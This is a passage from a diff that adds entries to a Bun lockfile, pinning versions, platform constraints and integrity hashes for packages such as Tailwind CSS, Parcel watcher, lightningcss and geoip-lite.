+
+ "@jridgewell/sourcemap-codec": ["@jridgewell/sourcemap-codec@1.5.5", "", {}, "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og=="],
+
+ "@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
+
+ "@msgpack/msgpack": ["@msgpack/msgpack@3.1.3", "", {}, "sha512-47XIizs9XZXvuJgoaJUIE2lFoID8ugvc0jzSHP+Ptfk8nTbnR8g788wv48N03Kx0UkAv559HWRQ3yzOgzlRNUA=="],
+
+ "@parcel/watcher": ["@parcel/watcher@2.5.6", "", { "dependencies": { "detect-libc": "^2.0.3", "is-glob": "^4.0.3", "node-addon-api": "^7.0.0", "picomatch": "^4.0.3" }, "optionalDependencies": { "@parcel/watcher-android-arm64": "2.5.6", "@parcel/watcher-darwin-arm64": "2.5.6", "@parcel/watcher-darwin-x64": "2.5.6", "@parcel/watcher-freebsd-x64": "2.5.6", "@parcel/watcher-linux-arm-glibc": "2.5.6", "@parcel/watcher-linux-arm-musl": "2.5.6", "@parcel/watcher-linux-arm64-glibc": "2.5.6", "@parcel/watcher-linux-arm64-musl": "2.5.6", "@parcel/watcher-linux-x64-glibc": "2.5.6", "@parcel/watcher-linux-x64-musl": "2.5.6", "@parcel/watcher-win32-arm64": "2.5.6", "@parcel/watcher-win32-ia32": "2.5.6", "@parcel/watcher-win32-x64": "2.5.6" } }, "sha512-tmmZ3lQxAe/k/+rNnXQRawJ4NjxO2hqiOLTHvWchtGZULp4RyFeh6aU4XdOYBFe2KE1oShQTv4AblOs2iOrNnQ=="],
+
+ "@parcel/watcher-android-arm64": ["@parcel/watcher-android-arm64@2.5.6", "", { "os": "android", "cpu": "arm64" }, "sha512-YQxSS34tPF/6ZG7r/Ih9xy+kP/WwediEUsqmtf0cuCV5TPPKw/PQHRhueUo6JdeFJaqV3pyjm0GdYjZotbRt/A=="],
+
+ "@parcel/watcher-darwin-arm64": ["@parcel/watcher-darwin-arm64@2.5.6", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Z2ZdrnwyXvvvdtRHLmM4knydIdU9adO3D4n/0cVipF3rRiwP+3/sfzpAwA/qKFL6i1ModaabkU7IbpeMBgiVEA=="],
+
+ "@parcel/watcher-darwin-x64": ["@parcel/watcher-darwin-x64@2.5.6", "", { "os": "darwin", "cpu": "x64" }, "sha512-HgvOf3W9dhithcwOWX9uDZyn1lW9R+7tPZ4sug+NGrGIo4Rk1hAXLEbcH1TQSqxts0NYXXlOWqVpvS1SFS4fRg=="],
+
+ "@parcel/watcher-freebsd-x64": ["@parcel/watcher-freebsd-x64@2.5.6", "", { "os": "freebsd", "cpu": "x64" }, "sha512-vJVi8yd/qzJxEKHkeemh7w3YAn6RJCtYlE4HPMoVnCpIXEzSrxErBW5SJBgKLbXU3WdIpkjBTeUNtyBVn8TRng=="],
+
+ "@parcel/watcher-linux-arm-glibc": ["@parcel/watcher-linux-arm-glibc@2.5.6", "", { "os": "linux", "cpu": "arm" }, "sha512-9JiYfB6h6BgV50CCfasfLf/uvOcJskMSwcdH1PHH9rvS1IrNy8zad6IUVPVUfmXr+u+Km9IxcfMLzgdOudz9EQ=="],
+
+ "@parcel/watcher-linux-arm-musl": ["@parcel/watcher-linux-arm-musl@2.5.6", "", { "os": "linux", "cpu": "arm" }, "sha512-Ve3gUCG57nuUUSyjBq/MAM0CzArtuIOxsBdQ+ftz6ho8n7s1i9E1Nmk/xmP323r2YL0SONs1EuwqBp2u1k5fxg=="],
+
+ "@parcel/watcher-linux-arm64-glibc": ["@parcel/watcher-linux-arm64-glibc@2.5.6", "", { "os": "linux", "cpu": "arm64" }, "sha512-f2g/DT3NhGPdBmMWYoxixqYr3v/UXcmLOYy16Bx0TM20Tchduwr4EaCbmxh1321TABqPGDpS8D/ggOTaljijOA=="],
+
+ "@parcel/watcher-linux-arm64-musl": ["@parcel/watcher-linux-arm64-musl@2.5.6", "", { "os": "linux", "cpu": "arm64" }, "sha512-qb6naMDGlbCwdhLj6hgoVKJl2odL34z2sqkC7Z6kzir8b5W65WYDpLB6R06KabvZdgoHI/zxke4b3zR0wAbDTA=="],
+
+ "@parcel/watcher-linux-x64-glibc": ["@parcel/watcher-linux-x64-glibc@2.5.6", "", { "os": "linux", "cpu": "x64" }, "sha512-kbT5wvNQlx7NaGjzPFu8nVIW1rWqV780O7ZtkjuWaPUgpv2NMFpjYERVi0UYj1msZNyCzGlaCWEtzc+exjMGbQ=="],
+
+ "@parcel/watcher-linux-x64-musl": ["@parcel/watcher-linux-x64-musl@2.5.6", "", { "os": "linux", "cpu": "x64" }, "sha512-1JRFeC+h7RdXwldHzTsmdtYR/Ku8SylLgTU/reMuqdVD7CtLwf0VR1FqeprZ0eHQkO0vqsbvFLXUmYm/uNKJBg=="],
+
+ "@parcel/watcher-win32-arm64": ["@parcel/watcher-win32-arm64@2.5.6", "", { "os": "win32", "cpu": "arm64" }, "sha512-3ukyebjc6eGlw9yRt678DxVF7rjXatWiHvTXqphZLvo7aC5NdEgFufVwjFfY51ijYEWpXbqF5jtrK275z52D4Q=="],
+
+ "@parcel/watcher-win32-ia32": ["@parcel/watcher-win32-ia32@2.5.6", "", { "os": "win32", "cpu": "ia32" }, "sha512-k35yLp1ZMwwee3Ez/pxBi5cf4AoBKYXj00CZ80jUz5h8prpiaQsiRPKQMxoLstNuqe2vR4RNPEAEcjEFzhEz/g=="],
+
+ "@parcel/watcher-win32-x64": ["@parcel/watcher-win32-x64@2.5.6", "", { "os": "win32", "cpu": "x64" }, "sha512-hbQlYcCq5dlAX9Qx+kFb0FHue6vbjlf0FrNzSKdYK2APUf7tGfGxQCk2ihEREmbR6ZMc0MVAD5RIX/41gpUzTw=="],
+
+ "@so-ric/colorspace": ["@so-ric/colorspace@1.1.6", "", { "dependencies": { "color": "^5.0.2", "text-hex": "1.0.x" } }, "sha512-/KiKkpHNOBgkFJwu9sh48LkHSMYGyuTcSFK/qMBdnOAlrRJzRSXAOFB5qwzaVQuDl8wAvHVMkaASQDReTahxuw=="],
+
+ "@tailwindcss/cli": ["@tailwindcss/cli@4.1.18", "", { "dependencies": { "@parcel/watcher": "^2.5.1", "@tailwindcss/node": "4.1.18", "@tailwindcss/oxide": "4.1.18", "enhanced-resolve": "^5.18.3", "mri": "^1.2.0", "picocolors": "^1.1.1", "tailwindcss": "4.1.18" }, "bin": { "tailwindcss": "dist/index.mjs" } }, "sha512-sMZ+lZbDyxwjD2E0L7oRUjJ01Ffjtme5OtjvvnC+cV4CEDcbqzbp25TCpxHj6kWLU9+DlqJOiNgSOgctC2aZmg=="],
+
+ "@tailwindcss/node": ["@tailwindcss/node@4.1.18", "", { "dependencies": { "@jridgewell/remapping": "^2.3.4", "enhanced-resolve": "^5.18.3", "jiti": "^2.6.1", "lightningcss": "1.30.2", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.1.18" } }, "sha512-DoR7U1P7iYhw16qJ49fgXUlry1t4CpXeErJHnQ44JgTSKMaZUdf17cfn5mHchfJ4KRBZRFA/Coo+MUF5+gOaCQ=="],
+
+ "@tailwindcss/oxide": ["@tailwindcss/oxide@4.1.18", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.1.18", "@tailwindcss/oxide-darwin-arm64": "4.1.18", "@tailwindcss/oxide-darwin-x64": "4.1.18", "@tailwindcss/oxide-freebsd-x64": "4.1.18", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.1.18", "@tailwindcss/oxide-linux-arm64-gnu": "4.1.18", "@tailwindcss/oxide-linux-arm64-musl": "4.1.18", "@tailwindcss/oxide-linux-x64-gnu": "4.1.18", "@tailwindcss/oxide-linux-x64-musl": "4.1.18", "@tailwindcss/oxide-wasm32-wasi": "4.1.18", "@tailwindcss/oxide-win32-arm64-msvc": "4.1.18", "@tailwindcss/oxide-win32-x64-msvc": "4.1.18" } }, "sha512-EgCR5tTS5bUSKQgzeMClT6iCY3ToqE1y+ZB0AKldj809QXk1Y+3jB0upOYZrn9aGIzPtUsP7sX4QQ4XtjBB95A=="],
+
+ "@tailwindcss/oxide-android-arm64": ["@tailwindcss/oxide-android-arm64@4.1.18", "", { "os": "android", "cpu": "arm64" }, "sha512-dJHz7+Ugr9U/diKJA0W6N/6/cjI+ZTAoxPf9Iz9BFRF2GzEX8IvXxFIi/dZBloVJX/MZGvRuFA9rqwdiIEZQ0Q=="],
+
+ "@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/oxide-darwin-arm64@4.1.18", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Gc2q4Qhs660bhjyBSKgq6BYvwDz4G+BuyJ5H1xfhmDR3D8HnHCmT/BSkvSL0vQLy/nkMLY20PQ2OoYMO15Jd0A=="],
+
+ "@tailwindcss/oxide-darwin-x64": ["@tailwindcss/oxide-darwin-x64@4.1.18", "", { "os": "darwin", "cpu": "x64" }, "sha512-FL5oxr2xQsFrc3X9o1fjHKBYBMD1QZNyc1Xzw/h5Qu4XnEBi3dZn96HcHm41c/euGV+GRiXFfh2hUCyKi/e+yw=="],
+
+ "@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/oxide-freebsd-x64@4.1.18", "", { "os": "freebsd", "cpu": "x64" }, "sha512-Fj+RHgu5bDodmV1dM9yAxlfJwkkWvLiRjbhuO2LEtwtlYlBgiAT4x/j5wQr1tC3SANAgD+0YcmWVrj8R9trVMA=="],
+
+ "@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/oxide-linux-arm-gnueabihf@4.1.18", "", { "os": "linux", "cpu": "arm" }, "sha512-Fp+Wzk/Ws4dZn+LV2Nqx3IilnhH51YZoRaYHQsVq3RQvEl+71VGKFpkfHrLM/Li+kt5c0DJe/bHXK1eHgDmdiA=="],
+
+ "@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/oxide-linux-arm64-gnu@4.1.18", "", { "os": "linux", "cpu": "arm64" }, "sha512-S0n3jboLysNbh55Vrt7pk9wgpyTTPD0fdQeh7wQfMqLPM/Hrxi+dVsLsPrycQjGKEQk85Kgbx+6+QnYNiHalnw=="],
+
+ "@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/oxide-linux-arm64-musl@4.1.18", "", { "os": "linux", "cpu": "arm64" }, "sha512-1px92582HkPQlaaCkdRcio71p8bc8i/ap5807tPRDK/uw953cauQBT8c5tVGkOwrHMfc2Yh6UuxaH4vtTjGvHg=="],
+
+ "@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.1.18", "", { "os": "linux", "cpu": "x64" }, "sha512-v3gyT0ivkfBLoZGF9LyHmts0Isc8jHZyVcbzio6Wpzifg/+5ZJpDiRiUhDLkcr7f/r38SWNe7ucxmGW3j3Kb/g=="],
+
+ "@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.1.18", "", { "os": "linux", "cpu": "x64" }, "sha512-bhJ2y2OQNlcRwwgOAGMY0xTFStt4/wyU6pvI6LSuZpRgKQwxTec0/3Scu91O8ir7qCR3AuepQKLU/kX99FouqQ=="],
+
+ "@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.1.18", "", { "dependencies": { "@emnapi/core": "^1.7.1", "@emnapi/runtime": "^1.7.1", "@emnapi/wasi-threads": "^1.1.0", "@napi-rs/wasm-runtime": "^1.1.0", "@tybys/wasm-util": "^0.10.1", "tslib": "^2.4.0" }, "cpu": "none" }, "sha512-LffYTvPjODiP6PT16oNeUQJzNVyJl1cjIebq/rWWBF+3eDst5JGEFSc5cWxyRCJ0Mxl+KyIkqRxk1XPEs9x8TA=="],
+
+ "@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.1.18", "", { "os": "win32", "cpu": "arm64" }, "sha512-HjSA7mr9HmC8fu6bdsZvZ+dhjyGCLdotjVOgLA2vEqxEBZaQo9YTX4kwgEvPCpRh8o4uWc4J/wEoFzhEmjvPbA=="],
+
+ "@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.1.18", "", { "os": "win32", "cpu": "x64" }, "sha512-bJWbyYpUlqamC8dpR7pfjA0I7vdF6t5VpUGMWRkXVE3AXgIZjYUYAK7II1GNaxR8J1SSrSrppRar8G++JekE3Q=="],
+
+ "@types/bun": ["@types/bun@1.3.8", "", { "dependencies": { "bun-types": "1.3.8" } }, "sha512-3LvWJ2q5GerAXYxO2mffLTqOzEu5qnhEAlh48Vnu8WQfnmSwbgagjGZV6BoHKJztENYEDn6QmVd949W4uESRJA=="],
+
+ "@types/geoip-lite": ["@types/geoip-lite@1.4.4", "", {}, "sha512-2uVfn+C6bX/H356H6mjxsWUA5u8LO8dJgSBIRO/NFlpMe4DESzacutD/rKYrTDKm1Ugv78b4Wz1KvpHrlv3jSw=="],
+
+ "@types/node": ["@types/node@25.2.2", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-BkmoP5/FhRYek5izySdkOneRyXYN35I860MFAGupTdebyE66uZaR+bXLHq8k4DirE5DwQi3NuhvRU1jqTVwUrQ=="],
+
+ "@types/triple-beam": ["@types/triple-beam@1.3.5", "", {}, "sha512-6WaYesThRMCl19iryMYP7/x2OVgCtbIVflDGFpWnb9irXI3UjYE4AzmYuiUKY1AJstGijoY+MgUszMgRxIYTYw=="],
+
+ "@types/uuid": ["@types/uuid@9.0.8", "", {}, "sha512-jg+97EGIcY9AGHJJRaaPVgetKDsrTgbRjQ5Msgjh/DQKEFl0DtyRr/VCOyD1T2R1MNeWPK/u7JoGhlDZnKBAfA=="],
+
+ "adm-zip": ["adm-zip@0.5.16", "", {}, "sha512-TGw5yVi4saajsSEgz25grObGHEUaDrniwvA2qwSC060KfqGPdglhvPMA2lPIoxs3PQIItj2iag35fONcQqgUaQ=="],
+
+ "ansi-styles": ["ansi-styles@4.3.0", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="],
+
+ "async": ["async@2.6.4", "", { "dependencies": { "lodash": "^4.17.14" } }, "sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA=="],
+
+ "autoprefixer": ["autoprefixer@10.4.23", "", { "dependencies": { "browserslist": "^4.28.1", "caniuse-lite": "^1.0.30001760", "fraction.js": "^5.3.4", "picocolors": "^1.1.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.1.0" }, "bin": { "autoprefixer": "bin/autoprefixer" } }, "sha512-YYTXSFulfwytnjAPlw8QHncHJmlvFKtczb8InXaAx9Q0LbfDnfEYDE55omerIJKihhmU61Ft+cAOSzQVaBUmeA=="],
+
+ "balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="],
+
+ "baseline-browser-mapping": ["baseline-browser-mapping@2.9.14", "", { "bin": { "baseline-browser-mapping": "dist/cli.js" } }, "sha512-B0xUquLkiGLgHhpPBqvl7GWegWBUNuujQ6kXd/r1U38ElPT6Ok8KZ8e+FpUGEc2ZoRQUzq/aUnaKFc/svWUGSg=="],
+
+ "brace-expansion": ["brace-expansion@1.1.12", "", { "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg=="],
+
+ "browserslist": ["browserslist@4.28.1", "", { "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", "electron-to-chromium": "^1.5.263", "node-releases": "^2.0.27", "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA=="],
+
+ "buffer-crc32": ["buffer-crc32@0.2.13", "", {}, "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ=="],
+
+ "bun-types": ["bun-types@1.3.8", "", { "dependencies": { "@types/node": "*" } }, "sha512-fL99nxdOWvV4LqjmC+8Q9kW3M4QTtTR1eePs94v5ctGqU8OeceWrSUaRw3JYb7tU3FkMIAjkueehrHPPPGKi5Q=="],
+
+ "caniuse-lite": ["caniuse-lite@1.0.30001764", "", {}, "sha512-9JGuzl2M+vPL+pz70gtMF9sHdMFbY9FJaQBi186cHKH3pSzDvzoUJUPV6fqiKIMyXbud9ZLg4F3Yza1vJ1+93g=="],
+
+ "chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="],
+
+ "color": ["color@5.0.3", "", { "dependencies": { "color-convert": "^3.1.3", "color-string": "^2.1.3" } }, "sha512-ezmVcLR3xAVp8kYOm4GS45ZLLgIE6SPAFoduLr6hTDajwb3KZ2F46gulK3XpcwRFb5KKGCSezCBAY4Dw4HsyXA=="],
+
+ "color-convert": ["color-convert@2.0.1", "", { "dependencies": { "color-name": "~1.1.4" } }, "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ=="],
+
+ "color-name": ["color-name@1.1.4", "", {}, "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="],
+
+ "color-string": ["color-string@2.1.4", "", { "dependencies": { "color-name": "^2.0.0" } }, "sha512-Bb6Cq8oq0IjDOe8wJmi4JeNn763Xs9cfrBcaylK1tPypWzyoy2G3l90v9k64kjphl/ZJjPIShFztenRomi8WTg=="],
+
+ "concat-map": ["concat-map@0.0.1", "", {}, "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="],
+
+ "detect-libc": ["detect-libc@2.1.2", "", {}, "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ=="],
+
+ "electron-to-chromium": ["electron-to-chromium@1.5.267", "", {}, "sha512-0Drusm6MVRXSOJpGbaSVgcQsuB4hEkMpHXaVstcPmhu5LIedxs1xNK/nIxmQIU/RPC0+1/o0AVZfBTkTNJOdUw=="],
+
+ "enabled": ["enabled@2.0.0", "", {}, "sha512-AKrN98kuwOzMIdAizXGI86UFBoo26CL21UM763y1h/GMSJ4/OHU9k2YlsmBpyScFo/wbLzWQJBMCW4+IO3/+OQ=="],
+
+ "enhanced-resolve": ["enhanced-resolve@5.19.0", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.0" } }, "sha512-phv3E1Xl4tQOShqSte26C7Fl84EwUdZsyOuSSk9qtAGyyQs2s3jJzComh+Abf4g187lUUAvH+H26omrqia2aGg=="],
+
+ "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="],
+
+ "fd-slicer": ["fd-slicer@1.1.0", "", { "dependencies": { "pend": "~1.2.0" } }, "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g=="],
+
+ "fecha": ["fecha@4.2.3", "", {}, "sha512-OP2IUU6HeYKJi3i0z4A19kHMQoLVs4Hc+DPqqxI2h/DPZHTm/vjsfC6P0b4jCMy14XizLBqvndQ+UilD7707Jw=="],
+
+ "flag-icons": ["flag-icons@7.5.0", "", {}, "sha512-kd+MNXviFIg5hijH766tt+3x76ele1AXlo4zDdCxIvqWZhKt4T83bOtxUOOMlTx/EcFdUMH5yvQgYlFh1EqqFg=="],
+
+ "fn.name": ["fn.name@1.1.0", "", {}, "sha512-GRnmB5gPyJpAhTQdSZTSp9uaPSvl09KoYcMQtsB9rQoOmzs9dH6ffeccH+Z+cv6P68Hu5bC6JjRh4Ah/mHSNRw=="],
+
+ "fraction.js": ["fraction.js@5.3.4", "", {}, "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ=="],
+
+ "fs.realpath": ["fs.realpath@1.0.0", "", {}, "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="],
+
+ "geoip-lite": ["geoip-lite@1.4.10", "", { "dependencies": { "async": "2.1 - 2.6.4", "chalk": "4.1 - 4.1.2", "iconv-lite": "0.4.13 - 0.6.3", "ip-address": "5.8.9 - 5.9.4", "lazy": "1.0.11", "rimraf": "2.5.2 - 2.7.1", "yauzl": "2.9.2 - 2.10.0" } }, "sha512-4N69uhpS3KFd97m00wiFEefwa+L+HT5xZbzPhwu+sDawStg6UN/dPwWtUfkQuZkGIY1Cj7wDVp80IsqNtGMi2w=="],
+
+ "glob": ["glob@7.2.3", "", { "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", "minimatch": "^3.1.1", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } }, "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q=="],
+
+ "graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="],
+
+ "has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="],
+
+ "iconv-lite": ["iconv-lite@0.6.3", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw=="],
+
+ "inflight": ["inflight@1.0.6", "", { "dependencies": { "once": "^1.3.0", "wrappy": "1" } }, "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA=="],
+
+ "inherits": ["inherits@2.0.4", "", {}, "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="],
+
+ "ip-address": ["ip-address@5.9.4", "", { "dependencies": { "jsbn": "1.1.0", "lodash": "^4.17.15", "sprintf-js": "1.1.2" } }, "sha512-dHkI3/YNJq4b/qQaz+c8LuarD3pY24JqZWfjB8aZx1gtpc2MDILu9L9jpZe1sHpzo/yWFweQVn+U//FhazUxmw=="],
+
+ "is-extglob": ["is-extglob@2.1.1", "", {}, "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ=="],
+
+ "is-glob": ["is-glob@4.0.3", "", { "dependencies": { "is-extglob": "^2.1.1" } }, "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg=="],
+
+ "is-stream": ["is-stream@2.0.1", "", {}, "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg=="],
+
+ "jiti": ["jiti@2.6.1", "", { "bin": { "jiti": "lib/jiti-cli.mjs" } }, "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ=="],
+
+ "jose": ["jose@6.1.3", "", {}, "sha512-0TpaTfihd4QMNwrz/ob2Bp7X04yuxJkjRGi4aKmOqwhov54i6u79oCv7T+C7lo70MKH6BesI3vscD1yb/yzKXQ=="],
+
+ "jsbn": ["jsbn@1.1.0", "", {}, "sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A=="],
+
+ "kuler": ["kuler@2.0.0", "", {}, "sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A=="],
+
+ "lazy": ["lazy@1.0.11", "", {}, "sha512-Y+CjUfLmIpoUCCRl0ub4smrYtGGr5AOa2AKOaWelGHOGz33X/Y/KizefGqbkwfz44+cnq/+9habclf8vOmu2LA=="],
+
+ "lightningcss": ["lightningcss@1.30.2", "", { "dependencies": { "detect-libc": "^2.0.3" }, "optionalDependencies": { "lightningcss-android-arm64": "1.30.2", "lightningcss-darwin-arm64": "1.30.2", "lightningcss-darwin-x64": "1.30.2", "lightningcss-freebsd-x64": "1.30.2", "lightningcss-linux-arm-gnueabihf": "1.30.2", "lightningcss-linux-arm64-gnu": "1.30.2", "lightningcss-linux-arm64-musl": "1.30.2", "lightningcss-linux-x64-gnu": "1.30.2", "lightningcss-linux-x64-musl": "1.30.2", "lightningcss-win32-arm64-msvc": "1.30.2", "lightningcss-win32-x64-msvc": "1.30.2" } }, "sha512-utfs7Pr5uJyyvDETitgsaqSyjCb2qNRAtuqUeWIAKztsOYdcACf2KtARYXg2pSvhkt+9NfoaNY7fxjl6nuMjIQ=="],
+
+ "lightningcss-android-arm64": ["lightningcss-android-arm64@1.30.2", "", { "os": "android", "cpu": "arm64" }, "sha512-BH9sEdOCahSgmkVhBLeU7Hc9DWeZ1Eb6wNS6Da8igvUwAe0sqROHddIlvU06q3WyXVEOYDZ6ykBZQnjTbmo4+A=="],
+
+ "lightningcss-darwin-arm64": ["lightningcss-darwin-arm64@1.30.2", "", { "os": "darwin", "cpu": "arm64" }, "sha512-ylTcDJBN3Hp21TdhRT5zBOIi73P6/W0qwvlFEk22fkdXchtNTOU4Qc37SkzV+EKYxLouZ6M4LG9NfZ1qkhhBWA=="],
+
+ "lightningcss-darwin-x64": ["lightningcss-darwin-x64@1.30.2", "", { "os": "darwin", "cpu": "x64" }, "sha512-oBZgKchomuDYxr7ilwLcyms6BCyLn0z8J0+ZZmfpjwg9fRVZIR5/GMXd7r9RH94iDhld3UmSjBM6nXWM2TfZTQ=="],
+
+ "lightningcss-freebsd-x64": ["lightningcss-freebsd-x64@1.30.2", "", { "os": "freebsd", "cpu": "x64" }, "sha512-c2bH6xTrf4BDpK8MoGG4Bd6zAMZDAXS569UxCAGcA7IKbHNMlhGQ89eRmvpIUGfKWNVdbhSbkQaWhEoMGmGslA=="],
+
+ "lightningcss-linux-arm-gnueabihf": ["lightningcss-linux-arm-gnueabihf@1.30.2", "", { "os": "linux", "cpu": "arm" }, "sha512-eVdpxh4wYcm0PofJIZVuYuLiqBIakQ9uFZmipf6LF/HRj5Bgm0eb3qL/mr1smyXIS1twwOxNWndd8z0E374hiA=="],
+
+ "lightningcss-linux-arm64-gnu": ["lightningcss-linux-arm64-gnu@1.30.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-UK65WJAbwIJbiBFXpxrbTNArtfuznvxAJw4Q2ZGlU8kPeDIWEX1dg3rn2veBVUylA2Ezg89ktszWbaQnxD/e3A=="],
+
+ "lightningcss-linux-arm64-musl": ["lightningcss-linux-arm64-musl@1.30.2", "", { "os": "linux", "cpu": "arm64" }, "sha512-5Vh9dGeblpTxWHpOx8iauV02popZDsCYMPIgiuw97OJ5uaDsL86cnqSFs5LZkG3ghHoX5isLgWzMs+eD1YzrnA=="],
+
+ "lightningcss-linux-x64-gnu": ["lightningcss-linux-x64-gnu@1.30.2", "", { "os": "linux", "cpu": "x64" }, "sha512-Cfd46gdmj1vQ+lR6VRTTadNHu6ALuw2pKR9lYq4FnhvgBc4zWY1EtZcAc6EffShbb1MFrIPfLDXD6Xprbnni4w=="],
+
